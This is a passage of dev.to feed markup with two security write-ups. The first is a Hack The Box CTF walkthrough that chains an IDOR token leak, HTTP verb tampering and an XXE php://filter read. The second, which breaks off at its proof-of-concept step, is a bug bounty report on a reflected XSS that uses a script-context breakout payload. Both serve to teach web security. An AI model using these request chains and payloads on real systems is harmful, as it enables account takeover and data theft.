&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/x-www-form-urlencoded&lt;/span&gt;

uid=74&amp;amp;token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&amp;amp;password=newpass
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The plan:&lt;/strong&gt; since the IDOR lets me pull &lt;em&gt;any&lt;/em&gt; user's token, I could fetch admin's token from &lt;code&gt;/api.php/token/52&lt;/code&gt; and reset their password with it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 6: First Attempt — Access Denied
&lt;/h2&gt;

&lt;p&gt;I modified the reset request to target user 52:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/reset.php&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;154.57.164.83:30772&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;PHPSESSID=5tdab0pea9581eafu321oslqc2; uid=52&lt;/span&gt;

uid=52&amp;amp;token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&amp;amp;password=1234
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Access Denied
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffyghw4q6tihyv3eo75xv.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffyghw4q6tihyv3eo75xv.webp" alt=" " width="800" height="231"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;❌ Failed — the server was validating something. My token (issued for user 74) wasn't valid for user 52.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 7: HTTP Verb Tampering
&lt;/h2&gt;

&lt;p&gt;Apps sometimes enforce inconsistent security controls across HTTP methods. What if &lt;code&gt;GET&lt;/code&gt; has weaker validation than &lt;code&gt;POST&lt;/code&gt;?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/reset.php?uid=52&amp;amp;token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&amp;amp;password=1234&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;154.57.164.83:30772&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Invalid token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Progress — the error changed from "Access Denied" to "Invalid token." The method swap bypassed the access control; I just needed the &lt;em&gt;right&lt;/em&gt; token for user 52.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 8: Combining IDOR + HTTP Verb Tampering
&lt;/h2&gt;

&lt;p&gt;Now I had both pieces: IDOR to fetch any user's token, and verb tampering to bypass the reset endpoint's access control.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fetch admin's token via IDOR:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/api.php/token/52&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;154.57.164.83:30772&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"e51a85fa-17ac-11ec-8e51-e78234eb7b0c"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Reset admin's password with the valid token:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/reset.php?uid=52&amp;amp;token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&amp;amp;password=1234&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;154.57.164.83:30772&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Password changed successfully
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;✅ Administrator's password reset to &lt;code&gt;1234&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftq0ldbdrqgi7s6huliqq.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftq0ldbdrqgi7s6huliqq.webp" alt=" " width="799" height="434"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 9: Accessing the Admin Panel
&lt;/h2&gt;

&lt;p&gt;Logged in with the compromised creds (&lt;code&gt;a.corrales&lt;/code&gt; / &lt;code&gt;1234&lt;/code&gt;) and got full admin access. A new feature was visible that regular users don't get: &lt;strong&gt;Add Event&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 10: Discovering the XXE Vulnerability
&lt;/h2&gt;

&lt;p&gt;Intercepting the "Add Event" request showed the app accepts raw XML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/addEvent.php&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;154.57.164.78:30221&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;text/plain;charset=UTF-8&lt;/span&gt;

&amp;lt;root&amp;gt;
    &amp;lt;name&amp;gt;test&amp;lt;/name&amp;gt;
    &amp;lt;details&amp;gt;test details&amp;lt;/details&amp;gt;
    &amp;lt;date&amp;gt;2024-01-01&amp;lt;/date&amp;gt;
&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Event 'test' has been created.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;&amp;lt;name&amp;gt;&lt;/code&gt; value gets reflected back in the response — a strong signal the app might be vulnerable to XML External Entity (XXE) injection.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 11: Testing for XXE
&lt;/h2&gt;

&lt;p&gt;First attempt: a basic XXE payload trying to read &lt;code&gt;/flag.php&lt;/code&gt; directly.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffai4f7jghhun1fyz8x5d.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffai4f7jghhun1fyz8x5d.webp" alt=" " width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Event '' has been created.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;❌ Didn't work as expected — &lt;code&gt;/flag.php&lt;/code&gt; contains PHP code, and when the XML parser tries to read it, the server executes the PHP instead of returning it as plain text.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 12: XXE with PHP Filters — The Fix
&lt;/h2&gt;

&lt;p&gt;PHP's stream filter wrapper &lt;code&gt;php://filter&lt;/code&gt; with &lt;code&gt;convert.base64-encode&lt;/code&gt; lets you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;read the PHP file as raw text instead of executing it&lt;/li&gt;
&lt;li&gt;base64-encode it, sidestepping special-character issues&lt;/li&gt;
&lt;li&gt;exfiltrate it through the XXE&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sending the payload through this wrapper got:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fimk9tzz67u8co6nlhoea.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fimk9tzz67u8co6nlhoea.webp" alt=" " width="800" height="455"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Event 'PD9waHAKJGZsYWcgPSAiSFRCe21YWFH...' has been created.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;✅ Success — the base64-encoded contents of &lt;code&gt;/flag.php&lt;/code&gt; came back in the event name.&lt;/p&gt;

&lt;p&gt;🎯 Flag captured: &lt;code&gt;HTB{mxxxxr_xxb_4xxxxr}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Vulnerability Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. IDOR on /api.php/user/{id} → enumerate all users → find admin
2. IDOR on /api.php/token/{id} → steal admin's reset token
3. HTTP verb tampering (POST → GET) → bypass reset endpoint's access control
4. Admin password reset → full admin access
5. XXE in the new "Add Event" feature via php://filter → read /flag.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three separate flaws — none individually catastrophic on its own — chained into full compromise.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
    </item>
    <item>
      <title>Reflected XSS in E-Commerce Search — Bug Bounty Writeup</title>
      <dc:creator>Hassan Elsayed</dc:creator>
      <pubDate>Sat, 25 Jul 2026 23:45:47 +0000</pubDate>
      <link>https://dev.to/hassanelsayed30/reflected-xss-in-e-commerce-search-bug-bounty-writeup-5ho2</link>
      <guid>https://dev.to/hassanelsayed30/reflected-xss-in-e-commerce-search-bug-bounty-writeup-5ho2</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;This one's a Reflected XSS I found during a bug bounty hunt, and it reinforced a lesson I keep relearning: the simplest features often hide the most critical vulnerabilities.&lt;/p&gt;

&lt;p&gt;The bug was sitting in plain sight — the search bar. The innocent text box everyone uses to find products. Most people type product names into it. I typed something else.&lt;/p&gt;

&lt;p&gt;What made it interesting wasn't just finding the XSS — it was &lt;em&gt;how&lt;/em&gt; the injection worked. My input was reflected inside an existing &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag, so a basic payload wouldn't cut it. I had to break out of the JavaScript context first before I could execute anything.&lt;/p&gt;

&lt;p&gt;Here's exactly how it went down.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: Finding the Reflection
&lt;/h2&gt;

&lt;p&gt;I started doing what I always do on a new target — hunting for input fields. Login forms, comments, contact forms... and then the search bar.&lt;/p&gt;

&lt;p&gt;Search functionality is a goldmine for XSS hunters because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;it's designed to accept arbitrary input&lt;/li&gt;
&lt;li&gt;results pages often reflect that input back to show what you searched for&lt;/li&gt;
&lt;li&gt;devs sometimes overlook it — "it's just a search"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Simple test string first, no fancy payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Search results for: "test"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;My input came back reflected directly in the HTML. Step one done. Next question: is there any filtering?&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Testing for Sanitization
&lt;/h2&gt;

&lt;p&gt;Time to throw special characters at it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;test&amp;gt;&amp;lt;" '
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These matter because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt; build HTML tags&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;"&lt;/code&gt; and &lt;code&gt;'&lt;/code&gt; break out of attributes&lt;/li&gt;
&lt;li&gt;if none of this gets encoded, there's a real vulnerability here&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Search results for: "test&amp;gt;&amp;lt;" '"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No encoding, no filtering, nothing. ✅ All the dangerous characters came back untouched.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Locating the Injection Point with Burp Suite
&lt;/h2&gt;

&lt;p&gt;Most people stop once they see the reflection in the visible page content. That's a mistake — I opened Burp Suite and used a unique marker to trace exactly where my input landed in the raw response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;test3030
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/search?q=test3030%3E%3C%22+%27&amp;amp;search-button=&amp;amp;lang=en_US&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;[REDACTED]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Searching the response for &lt;code&gt;test3030&lt;/code&gt; showed it reflected in multiple places — some filtered, some not. Then the jackpot, buried in the page source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;}]);&lt;/span&gt;
&lt;span class="nf"&gt;pushMCView&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;trackPageView&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;search&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;test3030&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; '&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}]);&lt;/span&gt;
&lt;span class="nf"&gt;flushViewQueue&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🔍 My input was sitting inside an existing &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block, completely unfiltered — the special characters all made it through unencoded.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fy3fw67wc1gnycg96mhsy.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fy3fw67wc1gnycg96mhsy.webp" alt=" " width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is different from a typical XSS. The input isn't in the HTML body, it's inside JavaScript code, which means a different approach is needed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Breaking Out of the Script Context
&lt;/h2&gt;

&lt;p&gt;The problem: I can't just inject &lt;code&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/code&gt; because I'm already inside a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag — the browser expects JS syntax there, not HTML.&lt;/p&gt;

&lt;p&gt;Then it clicked: what if I close the script tag myself?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;test3030
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser saw the closing &lt;code&gt;&amp;lt;/script&amp;gt;&lt;/code&gt; and ended the JavaScript context right there. Everything after it got treated as HTML instead.&lt;/p&gt;

&lt;p&gt;✅ Script context escaped. Verified with Burp:&lt;/p&gt;

&lt;p&gt;Request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/search?q=&amp;lt;/script&amp;gt;test3030%3E%3C%22+%27&amp;amp;search-button=&amp;amp;lang=en_US&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;pushMCView&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;trackPageView&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;search&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/script&amp;gt;test3030&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; '&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}]);&lt;/span&gt;
&lt;span class="nf"&gt;flushViewQueue&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9stfd7slncqco7duhiyk.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9stfd7slncqco7duhiyk.webp" alt=" " width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;&amp;lt;/script&amp;gt;&lt;/code&gt; tag closes the existing script block early — everything after it is now HTML, not JavaScript. That's the key to the whole exploit.&lt;/p&gt;

&lt;p&gt;Now I could inject arbitrary HTML elements, and with them, JS event handlers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: Crafting the Exploit Payload
&lt;/h2&gt;

&lt;p&gt;The plan:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;close the existing &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag with &lt;code&gt;&amp;lt;/script&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;inject an SVG element (lightweight, reliable)&lt;/li&gt;
&lt;li&gt;use its &lt;code&gt;onload&lt;/code&gt; event to run JavaScript&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Final payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&amp;lt;svg&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;alert(document.domain)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Full malicious URL:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/search?q=&amp;lt;/script&amp;gt;&amp;lt;svg/onload=alert(document.domain)&amp;gt;&amp;amp;search-button=&amp;amp;lang=en_US
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sent it through Burp and inspected the response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;pushMCView&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;trackPageView&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;search&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/script&amp;gt;&amp;lt;svg/onload=alert(document.domain)&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; '&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgqvoj2xqsa6uzjfeje2w.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgqvoj2xqsa6uzjfeje2w.webp" alt=" " width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The full payload came back unmodified in the HTML — script context terminated, SVG element with its malicious &lt;code&gt;onload&lt;/code&gt; sitting there ready to fire.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 6: Proof of Concept
&lt;/h2&gt;

&lt;p&gt;Theory's great, but I needed visual proof. Opened a browser and navigated to the malicious URL.&lt;/p&gt;

